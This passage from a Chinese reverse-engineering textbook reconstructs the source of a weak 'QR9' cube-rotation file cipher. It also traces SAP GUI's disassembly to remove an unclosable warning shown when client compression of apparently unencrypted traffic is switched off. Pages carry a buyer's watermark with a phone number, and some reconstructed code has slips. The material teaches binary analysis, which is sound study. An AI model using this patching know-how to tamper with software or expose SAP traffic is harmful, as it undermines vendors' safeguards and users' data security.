11101111b,那么 CL 的第 5 位(从数权最低位 开始数)将变为 0,其余位保持不变。 .text:00541036 and cl, dl 存储运算结果: .text:00541038 mov cube64[eax+esi*8], cl .text:0054103F pop esi .text:00541040 retn .text:00541040 set_bit endp get_bit()函数的工作模式也差不多。在 arg_C 为 0 的情况下,函数将清除数组中的特定比特位,否则设 置相关比特位为 1。 我们已经知道数组占用 64 字节。无论是 set_bit()函数还是 get_bit()函数,它们的前两个参数都相当于 2D 坐标。然后数组变为 8×8 矩阵。 通过上面的分析,我们可整理出 set_bit()和 get_bit()的源代码如下: #define IS_SET(flag, bit) ((flag) & (bit)) #define SET_BIT(var, bit) ((var) |= (bit)) #define REMOVE_BIT(var, bit) ((var) &= ~(bit)) static BYTE cube[8][8]; void set_bit (int x, int y, int shift, int bit) { if (bit) SET_BIT (cube[x][y], 1<<shift); else REMOVE_BIT (cube[x][y], 1<<shift); }; bool get_bit (int x, int y, int shift) { if ((cube[x][y]>>shift)&1==1) return 1; return 0; }; 回顾 rotate1/2/3 函数,可看到: .text:00541070 rotate1 proc near .text:00541070 函数使用局部数据栈给数组分配了 64 个字节: .text:00541070 internal_array_64 = byte ptr -40h .text:00541070 arg_0 = dword ptr 4 .text:00541070 .text:00541070 sub esp, 40h .text:00541073 push ebx .text:00541074 push ebp .text:00541075 mov ebp, [esp+48h+arg_0] .text:00541079 push esi .text:0054107A push edi 异步社区会员 dearfuture(15918834820) 专享 尊重版权 774 逆向工程权威指南(下册) .text:0054107B xor edi, edi ;EDI is loop1 counter EBX 寄存器是指向内部数组的指针: .text:0054107D lea ebx, [esp+50h+internal_array_64] .text:00541081 函数使用了 2 层循环: .text:00541081 first_loop1_begin: .text:00541081 xor esi, esi ; ESI is loop 2 counter .text:00541083 .text:00541083 first_loop2_begin: .text:00541083 push ebp ; arg_0 .text:00541084 push esi ; loop 1 counter .text:00541085 push edi ; loop 2 counter .text:00541086 call get_bit .text:0054108B add esp, 0Ch .text:0054108E mov [ebx+esi], al ; store to internal array .text:00541091 inc esi ; increment loop 1 counter .text:00541092 cmp esi, 8 .text:00541095 jl short first_loop2_begin .text:00541097 inc edi ; increment loop 2 counter ; increment internal array pointer by 8 at each loop 1 iteration .text:00541098 add ebx, 8 .text:0054109B cmp edi, 8 .text:0054109E jl short first_loop1_begin 这两个循环的控制变量,不仅取值范围都在 0~7 之间,而且它们分别充当了 get_bit()函数的第一个、 第二个参数。而 get_bit()函数使用的第三个参数是 rotate1()函数的唯一一个参数。而后,get_bit()函数的返 回值存储在内部数组里。 函数再次制备了指向内部数组的指针: .text:005410A0 lea ebx, [esp+50h+internal_array_64] .text:005410A4 mov edi, 7 ; EDI is loop1 counter, initial state is 7 .text:005410A9 .text:005410A9 second_loop1_begin: .text:005410A9 xor esi, esi ; ESI is loop2 counter .text:005410AB .text:005410AB second_loop2_begin: .text:005410AB mov al, [ebx+esi] ; value from internal array .text:005410AE push eax .text:005410AF push ebp ; arg_0 .text:005410B0 push edi ; loop1 counter .text:005410B1 push esi ; loop2 counter .text:005410B2 call set_bit .text:005410B7 add esp, 10h .text:005410BA inc esi ; increment loop2 counter .text:005410BB cmp esi, 8 .text:005410BE jl short second_loop2_begin .text:005410C0 dec edi ; decrement loop2 counter .text:005410C1 add ebx, 8 ; increment pointer in internal array .text:005410C4 cmp edi, 0FFFFFFFFh .text:005410C7 jg short second_loop1_begin .text:005410C9 pop edi .text:005410CA pop esi .text:005410CB pop ebp .text:005410CC pop ebx .text:005410CD add esp, 40h .text:005410D0 retn .text:005410D0 rotate1 endp 虽然上述代码通过 set_bit()函数把内部数组里的数据复制到了全局数组里,但是数组的排列顺序完全 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 79 章 “QR9”:魔方态加密模型 775 不一样。第一层循环的循环控制变量从 7 逐渐变为 0,呈递减的变化趋势。 通过上面的分析,我们可整理出 rotate1()的源代码如下: void rotatel (int v) { bool tmp[8][8];//internal array int i, j; for (i=0; i<8; i++) for (j=0; j<8; j++) tmp[i][j]=get_bit (i,j, v); for (i=0; i<8; i++) for (j=0; j<8; j++) set_bit (j, 7-i, v, tmp[x][y]); }; 既然已经搞清了 rotate1()函数,那么我们继续研究 rotate2()函数: .text:005410E0 rotate2 proc near .text:005410E0 .text:005410E0 internal_array_64 = byte ptr -40h .text:005410E0 arg_0 = dword ptr 4 .text:005410E0 .text:005410E0 sub esp, 40h .text:005410E3 push ebx .text:005410E4 push ebp .text:005410E5 mov ebp, [esp+48h+arg_0] .text:005410E9 push esi .text:005410EA push edi .text:005410EB xor edi, edi ; loop 1 counter .text:005410ED lea ebx, [esp+50h+internal_array_64] .text:005410F1 .text:005410F1 loc_5410F1: .text:005410F1 xor esi, esi ; loop 2 counter .text:005410F3 .text:005410F3 loc_5410F3: .text:005410F3 push esi ; loop 2 counter .text:005410F4 push edi ; loop 1 counter .text:005410F5 push ebp ; arg_0 .text:005410F6 call get_bit .text:005410FB add esp, 0Ch .text:005410FE mov [ebx+esi], al ; store to internal array .text:00541101 inc esi ; increment loop 1 counter .text:00541102 cmp esi, 8 .text:00541105 jl short loc_5410F3 .text:00541107 inc edi ; increment loop 2 counter .text:00541108 add ebx, 8 .text:0054110B cmp edi, 8 .text:0054110E jl short loc_5410F1 .text:00541110 lea ebx, [esp+50h+internal_array_64] .text:00541114 mov edi, 7 ; loop 1 counter is initial state 7 .text:00541119 .text:00541119 loc_541119: .text:00541119 xor esi, esi ; loop 2 counter .text:0054111B .text:0054111B loc_54111B: .text:0054111B mov al, [ebx+esi] ; get byte from internal array .text:0054111E push eax .text:0054111F push edi ; loop 1 counter .text:00541120 push esi ; loop 2 counter .text:00541121 push ebp ; arg_0 .text:00541122 call set_bit .text:00541127 add esp, 10h 异步社区会员 dearfuture(15918834820) 专享 尊重版权 776 逆向工程权威指南(下册) .text:0054112A inc esi ; increment loop 2 counter .text:0054112B cmp esi, 8 .text:0054112E jl short loc_54111B .text:00541130 dec edi ; decrement loop 2 counter .text:00541131 add ebx, 8 .text:00541134 cmp edi, 0FFFFFFFFh .text:00541137 jg short loc_541119 .text:00541139 pop edi .text:0054113A pop esi .text:0054113B pop ebp .text:0054113C pop ebx .text:0054113D add esp, 40h .text:00541140 retn .text:00541140 rotate2 endp 在调用 get_bit()和 set_bit()时,rotate1/2 以不同的顺序传递参数。除此之外,rotate1/2 基本相同。 可得 rotate1()的源代码如下: void rotate2 (int v) { bool tmp[8][8]; // internal array int i, j; for (i=0; i<8; i++) for (j=0; j<8; j++) tmp[i][j]=get_bit (v, i, j); for (i=0; i<8; i++) for (j=0; j<8; j++) set_bit (v, j, 7-i, tmp[i][j]); }; 下面我们分析 rotate3()函数: void rotate3 (int v) { bool tmp[8][8]; int i, j; for (i=0; i<8; i++) for (j=0; j<8; j++) tmp[i][j]=get_bit (i, v, j); for (i=0; i<8; i++) for (j=0; j<8; j++) set_bit (7-j, v, i, tmp[i][j]); }; 这个函数更容易分析。如果把 cube64 当作 8×8×8 的 3D 立方体、每个元素都是一个比特位,那么 get_bit() 函数和 set_bit()函数的作用就是从相应坐标读取 1 个比特位。 如此来看,rotate1/2/3 的作用就是以特定隔层旋转所有比特位。这三个参数分别旋转魔方的不同平面, 而参数 v 代表的是设置隔层的位置(0~7)。 或许,这个算法的作者就是把数据当作 8×8×8 的魔方来处理的。 再次整理 decrypt()函数的分析结果后,可推导出下列源代码: void decrypt (BYTE *buf, int sz, char *pw) { char *p=strdup (pw); strrev (p); int i=0; do { memcpy (cube, buf+i, 8*8); 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 79 章 “QR9”:魔方态加密模型 777 rotate_all (p, 3); memcpy (buf+i, cube, 8*8); i+=64; } while (i<sz); free (p); }; 该函数通过标准C函数strrev() ① ① 请参考 MSDN 的说明:https://msdn.microsoft.com/en-us/library/9hby7w40(VS.80).aspx。 对密码字符串进行逆序排列,而且传递给rotate_all()函数的参数是 3。除 此之外,它和crypt()函数基本一致。 因此,解密过程调用了 3 次 rotate1/2/3。 这和魔方的玩法没什么区别!如果要撤销调整魔方的操作,那么就要用相反的次序和相反方向进行等 幅操作。举例来说,您刚刚顺时针转动了魔方的某层方块、后来又要撤销那次操作,那么就把那层方块顺 时针转回来,要不然就再顺时针旋转 3 次。 如果说 rotate1()函数旋转的是魔方的“正”面,那么 rotate2()函数旋转的则是“上”面,而 rotate3()函 数则用于旋转魔方的侧面。 不妨再回顾一下 rotate_all()函数的代码: q=c-'a'; if (q>24) q-=24; int quotient=q/3; // in range 0..7 int remainder=q % 3; switch (remainder) { case 0: for (int i=0; i<v; i++) rotate1 (quotient); break; // front case 1: for (int i=0; i<v; i++) rotate2 (quotient); break; // top case 2: for (int i=0; i<v; i++) rotate3 (quotient); break; // left }; 综合上述分析可知:密码中的每个字符都描述了旋转的“面”(0~2)和“层”(0~7)信息。3 个面×8 个层=24(密码字节的取值范围)。为了把 26 个字母映射到 24 个数据元素,该程序把字母表的最后两个字 母重新映射为 0 和 1。 但是这种算法非常脆弱:在使用短密码的情况下,加密文件的密文篇幅和明文原文的尺寸相等。 重新分析整个程序,可整理得源代码如下: #include <windows.h> #include <stdio.h> #include <assert.h> #define IS_SET(flag, bit) ((flag) & (bit)) #define SET_BIT(var, bit) ((var) |= (bit)) #define REMOVE_BIT(var, bit) ((var) &= ~(bit)) static BYTE cube[8][8]; void set_bit (int x, int y, int z, bool bit) { if (bit) SET_BIT (cube[x][y], 1<<z); else REMOVE_BIT (cube[x][y], 1<<z); }; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 778 逆向工程权威指南(下册) bool get_bit (int x, int y, int z) { if ((cube[x][y]>>z)&1==1) return true; return false; }; void rotate_f (int row) { bool tmp[8][8]; int x, y; for (x=0; x<8; x++) for (y=0; y<8; y++) tmp[x][y]=get_bit (x, y, row); for (x=0; x<8; x++) for (y=0; y<8; y++) set_bit (y, 7-x, row, tmp[x][y]); }; void rotate_t (int row) { bool tmp[8][8]; int y, z; for (y=0; y<8; y++) for (z=0; z<8; z++) tmp[y][z]=get_bit (row, y, z); for (y=0; y<8; y++) for (z=0; z<8; z++) set_bit (row, z, 7-y, tmp[y][z]); }; void rotate_l (int row) { bool tmp[8][8]; int x, z; for (x=0; x<8; x++) for (z=0; z<8; z++) tmp[x][z]=get_bit (x, row, z); for (x=0; x<8; x++) for (z=0; z<8; z++) set_bit (7-z, row, x, tmp[x][z]); }; void rotate_all (char *pwd, int v) { char *p=pwd; while (*p) { char c=*p; int q; c=tolower (c); if (c>='a' && c<='z') { q=c-'a'; if (q>24) q-=24; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 79 章 “QR9”:魔方态加密模型 779 int quotient=q/3; int remainder=q % 3; switch (remainder) { case 0: for (int i=0; i<v; i++) rotate_f (quotient); break; case 1: for (int i=0; i<v; i++) rotate_t (quotient); break; case 2: for (int i=0; i<v; i++) rotate_l (quotient); break; }; }; p++; }; }; void crypt (BYTE *buf, int sz, char *pw) { int i=0; do { memcpy (cube, buf+i, 8*8); rotate_all (pw, 1); memcpy (buf+i, cube, 8*8); i+=64; }; while (i<sz); }; void decrypt (BYTE *buf, int sz, char *pw) { char *p=strdup (pw); strrev (p); int i=0; do { memcpy (cube, buf+i, 8*8); rotate_all (p, 3); memcpy (buf+i, cube, 8*8); i+=64; } while (i<sz); free (p); }; void crypt_file(char *fin, char* fout, char *pw) { FILE *f; int flen, flen_aligned; BYTE *buf; f=fopen(fin, "rb"); if (f==NULL) { printf ("Cannot open input file!\n"); return; }; fseek (f, 0, SEEK_END); flen=ftell (f); fseek (f, 0, SEEK_SET); flen_aligned=(flen&0xFFFFFFC0)+0x40; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 780 逆向工程权威指南(下册) buf=(BYTE*)malloc (flen_aligned); memset (buf, 0, flen_aligned); fread (buf, flen, 1, f); fclose (f); crypt (buf, flen_aligned, pw); f=fopen(fout, "wb"); fwrite ("QR9", 3, 1, f); fwrite (&flen, 4, 1, f); fwrite (buf, flen_aligned, 1, f); fclose (f); free (buf); }; void decrypt_file(char *fin, char* fout, char *pw) { FILE *f; int real_flen, flen; BYTE *buf; f=fopen(fin, "rb"); if (f==NULL) { printf ("Cannot open input file!\n"); return; }; fseek (f, 0, SEEK_END); flen=ftell (f); fseek (f, 0, SEEK_SET); buf=(BYTE*)malloc (flen); fread (buf, flen, 1, f); fclose (f); if (memcmp (buf, "QR9", 3)!=0) { printf ("File is not encrypted!\n"); return; }; memcpy (&real_flen, buf+3, 4); decrypt (buf+(3+4), flen-(3+4), pw); f=fopen(fout, "wb"); fwrite (buf+(3+4), real_flen, 1, f); fclose (f); free (buf); }; // run: input output 0/1 password 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 79 章 “QR9”:魔方态加密模型 781 // 0 for encrypt, 1 for decrypt int main(int argc, char *argv[]) { if (argc!=5) { printf ("Incorrect parameters!\n"); return 1; }; if (strcmp (argv[3], "0")==0) crypt_file (argv[1], argv[2], argv[4]); else if (strcmp (argv[3], "1")==0) decrypt_file (argv[1], argv[2], argv[4]); else printf ("Wrong param %s\n", argv[3]); return 0; }; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 8800 章 章 SSAAPP 80.1 关闭客户端的网络数据包压缩功能 根据公开资料的记载,默认情况下,SAP GUI(客户端)和SAP服务端之间的通信是压缩通信,而非 加密通信。 ① 决定 SAP GUI(客户端)是否采用网络数据包压缩功能的环境变量是 TDW_NOCOMPRESS。若把这 个变量设置为 1,那么就可以关闭客户端的网络数据压缩功能。不过,如果当真进行了这种设置,客户端 程序就会弹出如图 80.1 所示的提示窗口,而且这个 弹出窗口根本关不掉。 本节的任务就是去除这个提示窗口。 在此之前,我们可以确定的事实是: ① 在 SAP GUI 客户端程序里,环境变量 TDW_ NOCOMPRESS 被设为 1。 ② 程序的某个文件里应当存在字符串“data compression switched off”。 借助文件管理器FAR程序 ② 然后,我们用 IDA 程序打开文件 SAPguilib.dll, 在文件里搜索字符串“TDW_NOCOMPRESS”。所幸的是,我们可以找到这个字符串,而且整个文件只有 一处指令调用了这个字符串。 ,我们可在SAPguilib.dll 里找到这个字符串。 该文件的相关指令为: ③ ① 关于 SAP 采用的密码传输和指令传输技术,请参见笔者的博客:http://blog.yurichev.com/node/44http://blog.yurichev.com/node/47。 ② http://www.farmanager.com/。 ③ 本章演示的程序是 SAP GUI v720 for Win32,其版本号为 7200,1,0,9009。如果版本不同,那么相关偏移量应当会是不同值。 .text:6440D51B lea eax, [ebp+2108h+var_211C] .text:6440D51E push eax ; int .text:6440D51F push offset aTdw_nocompress ; "TDW_NOCOMPRESS" .text:6440D524 mov byte ptr [edi+15h], 0 .text:6440D528 call chk_env .text:6440D52D pop ecx .text:6440D52E pop ecx .text:6440D52F push offset byte_64443AF8 .text:6440D534 lea ecx, [ebp+2108h+var_211C] ; demangled name: int ATL::CStringT::Compare(char const *)const .text:6440D537 call ds:mfc90_1603 .text:6440D53D test eax, eax .text:6440D53F jz short loc_6440D55A .text:6440D541 lea ecx, [ebp+2108h+var_211C] ; demangled name: const char* ATL::CSimpleStringT::operator PCXSTR .text:6440D544 call ds:mfc90_910 .text:6440D54A push eax ; Str .text:6440D54B call ds:atoi .text:6440D551 test eax, eax 图 80.1 截屏 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 80 章 SAP 783 .text:6440D553 setnz al .text:6440D556 pop ecx .text:6440D557 mov [edi+15h], al 据此可知,chk_env()函数通过第二个参数获取环境变量字符串,然后 MFC 字符串处理函数会继续处 理这个字符串,接下来标准 C 函数 atoi()(从字符串转换为数字)再从这个字符串里提取数值。最终,程 序会把解析出来的环境变量的变量值存储在地址 edi+15h 里。 接下来,我们一起分析chk_env()函数 ① ① 这个函数名称是笔者命名的。 : .text:64413F20 ; int __cdecl chk_env(char *VarName, int) .text:64413F20 chk_env proc near .text:64413F20 .text:64413F20 DstSize = dword ptr -0Ch .text:64413F20 var_8 = dword ptr -8 .text:64413F20 DstBuf = dword ptr -4 .text:64413F20 VarName = dword ptr 8 .text:64413F20 arg_4 = dword ptr 0Ch .text:64413F20 .text:64413F20 push ebp .text:64413F21 mov ebp, esp .text:64413F23 sub esp, 0Ch .text:64413F26 mov [ebp+DstSize], 0 .text:64413F2D mov [ebp+DstBuf], 0 .text:64413F34 push offset unk_6444C88C .text:64413F39 mov ecx, [ebp+arg_4] ; (demangled name) ATL::CStringT::operator=(char const *) .text:64413F3C call ds:mfc90_820 .text:64413F42 mov eax, [ebp+VarName] .text:64413F45 push eax ; VarName .text:64413F46 mov ecx, [ebp+DstSize] .text:64413F49 push ecx ; DstSize .text:64413F4A mov edx, [ebp+DstBuf] .text:64413F4D push edx ; DstBuf .text:64413F4E lea eax, [ebp+DstSize] .text:64413F51 push eax ; ReturnSize .text:64413F52 call ds:getenv_s .text:64413F58 add esp, 10h .text:64413F5B mov [ebp+var_8], eax .text:64413F5E cmp [ebp+var_8], 0 .text:64413F62 jz short loc_64413F68 .text:64413F64 xor eax, eax .text:64413F66 jmp short loc_64413FBC .text:64413F68 .text:64413F68 loc_64413F68: .text:64413F68 cmp [ebp+DstSize], 0 .text:64413F6C jnz short loc_64413F72 .text:64413F6E xor eax, eax .text:64413F70 jmp short loc_64413FBC .text:64413F72 .text:64413F72 loc_64413F72: .text:64413F72 jmp short loc_64413FBC .text:64413F75 push ecx .text:64413F76 mov ecx, [ebp+arg_4] ; demangled name: ATL::CSimpleStringT<char, 1>::Preallocate(int) .text:64413F79 call ds:mfc90_2691 .text:64413F7F mov [ebp+DstBuf], eax .text:64413F82 mov edx, [ebp+VarName] .text:64413F85 push edx ; VarName .text:64413F86 mov eax, [ebp+DstSize] .text:64413F89 push eax ; DstSize 异步社区会员 dearfuture(15918834820) 专享 尊重版权 784 逆向工程权威指南(下册) .text:64413F8A mov ecx, [ebp+DstBuf] .text:64413F8D push ecx ; DstBuf .text:64413F8E lea edx, [ebp+DstSize] .text:64413F91 push edx ; ReturnSize .text:64413F92 call ds:getenv_s .text:64413F98 add esp, 10h .text:64413F9B mov [ebp+var_8], eax .text:64413F9E push 0FFFFFFFFh .text:64413FA0 mov ecx, [ebp+arg_4] ; demangled name: ATL::CSimpleStringT::ReleaseBuffer(int) .text:64413FA3 call ds:mfc90_5835 .text:64413FA9 cmp [ebp+var_8], 0 .text:64413FAD jz short loc_64413FB3 .text:64413FAF xor eax, eax .text:64413FB1 jmp short loc_64413FBC .text:64413FB3 .text:64413FB3 loc_64413FB3: .text:64413FB3 mov ecx, [ebp+arg_4] ; demangled name: const char* ATL::CSimpleStringT::operator PCXSTR .text:64413FB6 call ds:mfc90_910 .text:64413FBC .text:64413FBC loc_64413FBC: .text:64413FBC .text:64413FBC mov esp, ebp .text:64413FBE mov esp, ebp .text:64413FBF retn .text:64413FBF chk_env endp 其中,getenv_s()函数 ①是微软退出的改进版getenv()函数 ② DPTRACE ,它提升了原有函数的安全特性。 这个函数多处调用了 MFC 字符串处理函数。 不仅如此,它还检测了其他的环境变量。如果打开 SAP GUI(客户端)程序的日志记录功能,就会在 trace log 里看到它检测的环境变量,如下表所示。 “GUI-OPTION: Trace set to %d” TDW_HEXDUMP “GUI-OPTION: Hexdump enabled” TDW_WORKDIR “GUI-OPTION: working directory ‘%s’ ” TDW_SPLASHSRCEENOFF “GUI-OPTION: Splash Screen Off” / “GUI-OPTION: Splash Screen On” TDW_REPLYTIMEOUT “GUI-OPTION: reply timeout %d milliseconds” TDW_PLAYBACKTIMEOUT “GUI-OPTION: PlaybackTimeout set to %d milliseconds” TDW_NOCOMPRESS “GUI-OPTION: no compression read” TDW_EXPERT “GUI-OPTION: expert mode” TDW_PLAYBACKPROGRESS “GUI-OPTION: PlaybackProgress” TDW_PLAYBACKNETTRAFFIC “GUI-OPTION: PlaybackNetTraffic” TDW_PLAYLOG “GUI-OPTION: /PlayLog is YES, file %s” TDW_PLAYTIME “GUI-OPTION: /PlayTime set to %d milliseconds” TDW_LOGFILE “GUI-OPTION: TDW_LOGFILE ‘%s’ ” TDW_WAN “GUI-OPTION: WAN - low speed connection enabled” TDW_FULLMENU “GUI-OPTION: FullMenu enabled” SAP_CP / SAP_CODEPAGE “GUI-OPTION: SAP_CODEPAGE ‘%d’ ” UPDOWNLOAD_CP “GUI-OPTION: UPDOWNLOAD_CP ‘%d’ ” SNC_PARTNERNAME “GUI-OPTION: SNC name ‘%s’ ” ① https://msdn.microsoft.com/en-us/library/tb2sfw2z(VS.80).aspx。 ② 返回环境变量的标准 C 函数。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 80 章 SAP 785 续表 SNC_QOP “GUI-OPTION: SNC_QOP ‘%s’ ” SNC_LIB “GUI-OPTION: SNC is set to: %s” SAPGUI_INPLACE “GUI-OPTION: environment variable SAPGUI_INPLACE is on” 函数把这些变量都存储在数组里,而且把 EDI 寄存器当作这个数组的指针。在调用 chk_evn()函数之前, 程序首先设置了 EDI 的值: .text:6440EE00 lea edi, [ebp+2884h+var_2884] ; options here like +0x15... .text:6440EE03 lea ecx, [esi+24h] .text:6440EE06 call load_command_line .text:6440EE0B mov edi, eax .text:6440EE0D xor ebx, ebx .text:6440EE0F cmp edi, ebx .text:6440EE11 jz short loc_6440EE42 .text:6440EE13 push edi .text:6440EE14 push offset aSapguiStoppedA ; "Sapgui stopped after commandline interp"... .text:6440EE19 push dword_644F93E8 .text:6440EE1F call FEWTraceError 那么,我们关注的“data record mode switched on”字符串在这个文件里吗?整个文件里,只有 CDwsGui::PrepareInfoWindow()构造函数调用了这个字符串。我们可通过日志文件的调试调用(debugging calls)信息了解各个 class/method 的名字。 例如,下述调试调用信息就透露了构造函数的函数名称: .text:64405160 push dword ptr [esi+2854h] .text:64405166 push offset aCdwsguiPrepare ; "\nCDwsGui::PrepareInfoWindow: sapgui env"... .text:6440516B push dword ptr [esi+2848h] .text:64405171 call dbg .text:64405176 add esp, 0Ch 以及: .text:6440237A push eax .text:6440237B push offset aCclientStart_6 ; "CClient::Start: set shortcut user to '\%"... .text:64402380 push dword ptr [edi+4] .text:64402383 call dbg .text:64402388 add esp, 0Ch 这些信息的作用很大。 接下来,我们直奔那个令人恼火的弹出窗口: .text:64404F4F CDwsGui__PrepareInfoWindow proc near .text:64404F4F .text:64404F4F pvParam = byte ptr -3Ch .text:64404F4F var_38 = dword ptr -38h .text:64404F4F var_34 = dword ptr -34h .text:64404F4F rc = tagRECT ptr -2Ch .text:64404F4F cy = dword ptr -1Ch .text:64404F4F h = dword ptr -18h .text:64404F4F var_14 = dword ptr -14h .text:64404F4F var_10 = dword ptr -10h .text:64404F4F var_4 = dword ptr -4 .text:64404F4F .text:64404F4F push 30h .text:64404F51 mov eax, offset loc_64438E00 .text:64404F56 call __EH_prolog3 .text:64404F5B mov esi, ecx ; ECX is pointer to object .text:64404F5D xor ebx, ebx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 786 逆向工程权威指南(下册) .text:64404F5F lea ecx, [ebp+var_14] .text:64404F62 mov [ebp+var_10], ebx ; demangled name: ATL::CStringT(void) .text:64404F65 call ds:mfc90_316 .text:64404F6B mov [ebp+var_4], ebx .text:64404F6E lea edi, [esi+2854h] .text:64404F74 push offset aEnvironmentInf ; "Environment information:\n" .text:64404F79 mov ecx, edi ; demangled name: ATL::CStringT::operator=(char const *) .text:64404F7B call ds:mfc90_820 .text:64404F81 cmp [esi+38h], ebx .text:64404F84 mov ebx, ds:mfc90_2539 .text:64404F8A jbe short loc_64404FA9 .text:64404F8C push dword ptr [esi+34h] .text:64404F8F lea eax, [ebp+var_14] .text:64404F92 push offset aWorkingDirecto ; "working directory: '\%s'\n" .text:64404F97 push eax ; demangled name: ATL::CStringT::Format(char const *,...) .text:64404F98 call ebx ; mfc90_2539 .text:64404F9A add esp, 0Ch .text:64404F9D lea eax, [ebp+var_14] .text:64404FA0 push eax .text:64404FA1 mov ecx, edi ; demangled name: ATL::CStringT::operator+=(class ATL::CSimpleStringT<char, 1> const &) .text:64404FA3 call ds:mfc90_941 .text:64404FA9 .text:64404FA9 loc_64404FA9: .text:64404FA9 mov eax, [esi+38h] .text:64404FAC test eax, eax .text:64404FAE jbe short loc_64404FD3 .text:64404FB0 push eax .text:64404FB1 lea eax, [ebp+var_14] .text:64404FB4 push offset aTraceLevelDAct ; "trace level \%d activated\n" .text:64404FB9 push eax ; demangled name: ATL::CStringT::Format(char const *,...) .text:64404FBA call ebx ; mfc90_2539 .text:64404FBC add esp, 0Ch .text:64404FBF lea eax, [ebp+var_14] .text:64404FC2 push eax .text:64404FC3 mov ecx, edi ; demangled name: ATL::CStringT::operator+=(class ATL::CSimpleStringT<char, 1> const &) .text:64404FC5 call ds:mfc90_941 .text:64404FCB xor ebx, ebx .text:64404FCD inc ebx .text:64404FCE mov [ebp+var_10], ebx .text:64404FD1 jmp short loc_64404FD6 .text:64404FD3 .text:64404FD3 loc_64404FD3: .text:64404FD3 xor ebx, ebx .text:64404FD5 inc ebx .text:64404FD6 .text:64404FD6 loc_64404FD6: .text:64404FD6 cmp [esi+38h], ebx .text:64404FD9 jbe short loc_64404FF1 .text:64404FDB cmp dword ptr [esi+2978h], 0 .text:64404FE2 jz short loc_64404FF1 .text:64404FE4 push offset aHexdumpInTrace ; "hexdump in trace activated\n" .text:64404FE9 mov ecx, edi 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 80 章 SAP 787 ; demangled name: ATL::CStringT::operator+=(char const *) .text:64404FEB call ds:mfc90_945 .text:64404FF1 .text:64404FF1 loc_64404FF1: .text:64404FF1 .text:64404FF1 cmp byte ptr [esi+78h], 0 .text:64404FF5 jz short loc_64405007 .text:64404FF7 push offset aLoggingActivat ; "logging activated\n" .text:64404FFC mov ecx, edi ; demangled name: ATL::CStringT::operator+=(char const *) .text:64404FFE call ds:mfc90_945 .text:64405004 mov [ebp+var_10], ebx .text:64405007 .text:64405007 loc_64405007: .text:64405007 cmp byte ptr [esi+3Dh], 0 .text:6440500B jz short bypass .text:6440500D push offset aDataCompressio ;"data compression switched off\n" .text:64405012 mov ecx, edi ; demangled name: ATL::CStringT::operator+=(char const *) .text:64405014 call ds:mfc90_945 .text:6440501A mov [ebp+var_10], ebx .text:6440501D .text:6440501D bypass: .text:6440501D mov eax, [esi+20h] .text:64405020 test eax, eax .text:64405022 jz short loc_6440503A .text:64405024 cmp dword ptr [eax+28h], 0 .text:64405028 jz short loc_6440503A .text:6440502A push offset aDataRecordMode ; "data record mode switched on\n" .text:6440502F mov ecx, edi ; demangled name: ATL::CStringT::operator+=(char const *) .text:64405031 call ds:mfc90_945 .text:64405037 mov [ebp+var_10], ebx .text:6440503A .text:6440503A loc_6440503A: .text:6440503A .text:6440503A mov ecx, edi .text:6440503C cmp [ebp+var_10], ebx .text:6440503F jnz loc_64405142 .text:64405045 push offset aForMaximumData ; "\nFor maximum data security delete\nthe s" ; demangled name: ATL::CStringT::operator+=(char const *) .text:6440504A call ds:mfc90_945 .text:64405050 xor edi, edi .text:64405052 push edi ; fWinIni .text:64405053 lea eax, [ebp+pvParam] .text:64405056 push eax ; PvParam .text:64405057 push edi ; uiParam .text:64405058 push 30h ; uiAction .text:6440505A call ds:SystemParametersInfoA .text:64405060 mov eax, [ebp+var_34] .text:64405063 cmp eax, 1600 .text:64405068 jle short loc_64405072 .text:6440506A cdq .text:6440506B sub eax, edx .text:6440506D sar eax, 1 .text:6440506F mov [ebp+var_34], eax .text:64405072 .text:64405072 loc_64405072: .text:64405072 push edi ; hWnd .text:64405073 mov [ebp+cy], 0A0h 异步社区会员 dearfuture(15918834820) 专享 尊重版权 788 逆向工程权威指南(下册) .text:6440507A call ds:GetDC .text:64405080 mov [ebp+var_10], eax .text:64405083 mov ebx, 12Ch .text:64405088 cmp eax, edi .text:6440508A jz loc_64405113 .text:64405090 push 11h ; i .text:64405092 call ds:GetStockObject .text:64405098 mov edi, ds:SelectObject .text:6440509E push eax ;h .text:6440509F push [ebp+var_10] ; hdc .text:644050A2 call edi ; SelectObject .text:644050A4 and [ebp+rc.left], 0 .text:644050A8 and [ebp+rc.top], 0 .text:644050AC mov [ebp+h], eax .text:644050AF push 401h ; format .text:644050B4 lea eax, [ebp+rc] .text:644050B7 push eax ; lprc .text:644050B8 lea ecx, [esi+2854h] .text:644050BE mov [ebp+rc.right], ebx .text:644050C1 mov [ebp+rc.bottom], 0B4h ; demangled name: ATL::CSimpleStringT::GetLength(void) .text:644050C8 call ds:mfc90_3178 .text:644050CE push eax ; cchText .text:644050CF lea ecx, [esi+2854h] ; demangled name: const char* ATL::CSimpleStringT::operator PCXSTR .text:644050D5 call ds:mfc90_910 .text:644050DB push eax ; lpchText .text:644050DC push [ebp+var_10] ; hdc .text:644050DF call ds:DrawTextA .text:644050E5 push 4 ; nIndex .text:644050E7 call ds:GetSystemMetrics .text:644050ED mov ecx, [ebp+rc.bottom] .text:644050F0 sub ecx, [ebp+rc.top] .text:644050F3 cmp [ebp+h], 0 .text:644050F7 lea eax, [eax+ecx+28h] .text:644050FB mov [ebp+cy], eax .text:644050FE jz short loc_64405108 .text:64405100 push [ebp+h] ; h .text:64405103 push [ebp+var_10] ; hdc .text:64405106 call edi ; SelectObject .text:64405108 .text:64405108 loc_64405108: .text:64405108 push [ebp+var_10] ; hDC .text:6440510B push 0 ; hWnd .text:6440510D call ds:ReleaseDC .text:64405113 .text:64405113 loc_64405113: .text:64405113 mov eax, [ebp+var_38] .text:64405116 push 80h ; uFlags .text:6440511B push [ebp+cy] ; cy .text:6440511E inc eax .text:6440511F push ebx ; cx .text:64405120 push eax ; Y .text:64405121 mov eax, [ebp+var_34] .text:64405124 add eax, 0FFFFFED4h .text:64405129 cdq .text:6440512A sub eax, edx .text:6440512C sar eax, 1 